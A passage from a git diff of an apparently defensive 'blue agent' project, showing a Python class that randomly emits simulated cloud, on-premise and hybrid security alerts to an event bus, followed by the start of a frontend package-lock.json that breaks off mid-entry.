"vpn:tunnel/site-to-cloud", + "recommendation": "Migrate to AES-256-GCM cipher suite; update both endpoints", + }, + { + "category": "certificate", + "severity": "high", + "title": "TLS certificate expiring in 7 days", + "description": "Certificate for *.hybrid.internal expires 2026-04-23", + "resource": "cert:*.hybrid.internal", + "recommendation": "Renew certificate; configure auto-renewal via ACME/Let's Encrypt", + }, + { + "category": "dns", + "severity": "medium", + "title": "DNS configuration drift detected", + "description": "Internal DNS zone differs between cloud and on-prem resolvers", + "resource": "dns:zone/internal", + "recommendation": "Synchronize DNS zones; implement split-horizon DNS properly", + }, + { + "category": "firewall", + "severity": "high", + "title": "Inconsistent firewall rules", + "description": "Cloud security group allows port 8080 but on-prem firewall blocks it β€” service unreachable", + "resource": "firewall:cross-env/8080", + "recommendation": "Audit and reconcile firewall rules across environments; use IaC for consistency", + }, + { + "category": "traffic", + "severity": "critical", + "title": "Anomalous cross-environment traffic", + "description": "Unusual data transfer from onprem DB to cloud storage (15GB in 1 hour)", + "resource": "traffic:onprem->cloud", + "recommendation": "Investigate data exfiltration; check backup schedules; review DLP policies", + }, + { + "category": "identity", + "severity": "high", + "title": "Federated identity sync failure", + "description": "LDAP-to-cloud IAM sync failed 3 times β€” stale credentials may be active", + "resource": "identity:federation", + "recommendation": "Fix LDAP connector; force credential rotation for affected accounts", + }, +] + + +class EnvironmentManager: + """Monitors Cloud, On-Premise, and Hybrid environments continuously. + + Runs three parallel loops, one per environment type. + Emits environment_alert and misconfig_found events. + + Usage:: + + mgr = EnvironmentManager() + await mgr.start() # blocks β€” runs until stop() + """ + + def __init__(self) -> None: + self._running: bool = False + self.alerts: List[EnvironmentAlert] = [] + self.alert_count: int = 0 + self._alert_counter: int = 0 + self._emitted_alerts: Set[str] = set() + + # Per-environment monitoring intervals (seconds) + self.cloud_interval: float = 6.0 + self.onprem_interval: float = 5.0 + self.hybrid_interval: float = 7.0 + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + async def start(self) -> None: + """Start all three environment monitoring loops in parallel.""" + self._running = True + ts = _ts() + print( + f"{ts} < env_manager: Starting multi-environment monitoring " + f"(cloud={self.cloud_interval}s, onprem={self.onprem_interval}s, " + f"hybrid={self.hybrid_interval}s)" + ) + + await asyncio.gather( + self._monitor_cloud(), + self._monitor_onprem(), + self._monitor_hybrid(), + return_exceptions=True, + ) + + async def stop(self) -> None: + self._running = False + + # ------------------------------------------------------------------ + # Environment-specific monitoring loops + # ------------------------------------------------------------------ + + async def _monitor_cloud(self) -> None: + """Continuous cloud environment monitoring.""" + while self._running: + await self._check_environment("cloud", _CLOUD_ALERTS) + await asyncio.sleep(self.cloud_interval) + + async def _monitor_onprem(self) -> None: + """Continuous on-premise environment monitoring.""" + while self._running: + await self._check_environment("onprem", _ONPREM_ALERTS) + await asyncio.sleep(self.onprem_interval) + + async def _monitor_hybrid(self) -> None: + """Continuous hybrid environment monitoring.""" + while self._running: + await self._check_environment("hybrid", _HYBRID_ALERTS) + await asyncio.sleep(self.hybrid_interval) + + async def _check_environment( + self, env_name: str, alert_templates: List[Dict[str, Any]] + ) -> None: + """Check one environment for issues. Probabilistically triggers alerts.""" + for template in alert_templates: + # Each check has a probability of firing per cycle + # Higher severity = more likely to fire (simulates persistent issues) + threshold = {"critical": 0.30, "high": 0.25, "medium": 0.15}.get( + template["severity"], 0.10 + ) + + if random.random() > threshold: + continue + + # Deduplicate: don't re-alert on same issue within a session + dedup_key = f"{env_name}:{template['category']}:{template['title']}" + if dedup_key in self._emitted_alerts: + continue + self._emitted_alerts.add(dedup_key) + + self._alert_counter += 1 + alert = EnvironmentAlert( + alert_id=f"ENV-{self._alert_counter:04d}", + environment=env_name, + category=template["category"], + severity=template["severity"], + title=template["title"], + description=template["description"], + resource=template["resource"], + recommendation=template["recommendation"], + ) + self.alerts.append(alert) + self.alert_count += 1 + + ts = _ts() + sev_tag = alert.severity.upper() + print( + f"{ts} < env_manager: [{env_name.upper()}] [{sev_tag}] " + f"{alert.title} β€” {alert.resource}" + ) + + # Emit to event bus + await event_bus.emit("environment_alert", alert.to_dict()) + + # Critical/high findings also go through misconfig_found for response chain + if alert.severity in ("critical", "high"): + await event_bus.emit("misconfig_found", { + "environment": env_name, + "category": alert.category, + "severity": alert.severity, + "description": alert.description, + "resource": alert.resource, + "recommendation": alert.recommendation, + }) + + await asyncio.sleep(0.02) + + # ------------------------------------------------------------------ + # Query API + # ------------------------------------------------------------------ + + def get_alerts(self, environment: Optional[str] = None) -> List[Dict[str, Any]]: + """Return alerts, optionally filtered by environment.""" + alerts = self.alerts + if environment: + alerts = [a for a in alerts if a.environment == environment] + return [a.to_dict() for a in alerts] + + def get_stats(self) -> Dict[str, Any]: + """Return monitoring statistics.""" + by_env = {"cloud": 0, "onprem": 0, "hybrid": 0} + by_severity = {"critical": 0, "high": 0, "medium": 0, "low": 0} + by_category: Dict[str, int] = {} + + for alert in self.alerts: + by_env[alert.environment] = by_env.get(alert.environment, 0) + 1 + by_severity[alert.severity] = by_severity.get(alert.severity, 0) + 1 + by_category[alert.category] = by_category.get(alert.category, 0) + 1 + + return { + "total_alerts": self.alert_count, + "by_environment": by_env, + "by_severity": by_severity, + "by_category": by_category, + "monitoring_active": self._running, + } diff --git a/blue_agent/frontend/package-lock.json b/blue_agent/frontend/package-lock.json new file mode 100644 index 000000000..1ebf77a11 --- /dev/null +++ b/blue_agent/frontend/package-lock.json @@ -0,0 +1,2051 @@ +{ + "name": "htf-blue-frontend", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "htf-blue-frontend", + "version": "0.1.0", + "dependencies": { + "axios": "^1.7.7", + "react": "^18.3.1", + "react-dom": "^18.3.1" + }, + "devDependencies": { + "@types/react": "^18.3.11", + "@types/react-dom": "^18.3.0", + "@vitejs/plugin-react": "^4.3.2", + "typescript": "^5.6.2", + "vite": "^5.4.8" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", + "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.28.5", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", + "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", + "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-module-transforms": "^7.28.6", + "@babel/helpers": "^7.28.6", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/traverse": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.29.1", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", + "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", + "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.28.6", + "@babel/helper-validator-option": "^7.27.1", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", + "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", + "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.28.6", + "@babel/helper-validator-identifier": "^7.28.5", + "@babel/traverse": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", + "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", + "integrity": "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.28.6", + "@babel/types": "^7.29.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", + "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", + "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", + "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/template": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", + "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.28.6", + "@babel/parser": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", + "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/types": "^7.29.0", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", + "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.21.5.tgz", + "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", + "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.21.5.tgz", + "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", + "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", + "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", + "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", + "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", + "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", + "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", + "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", + "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", + "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", + "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", + "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", + "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", + "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", + "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", + "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", + "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", + "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", + "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", + "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + 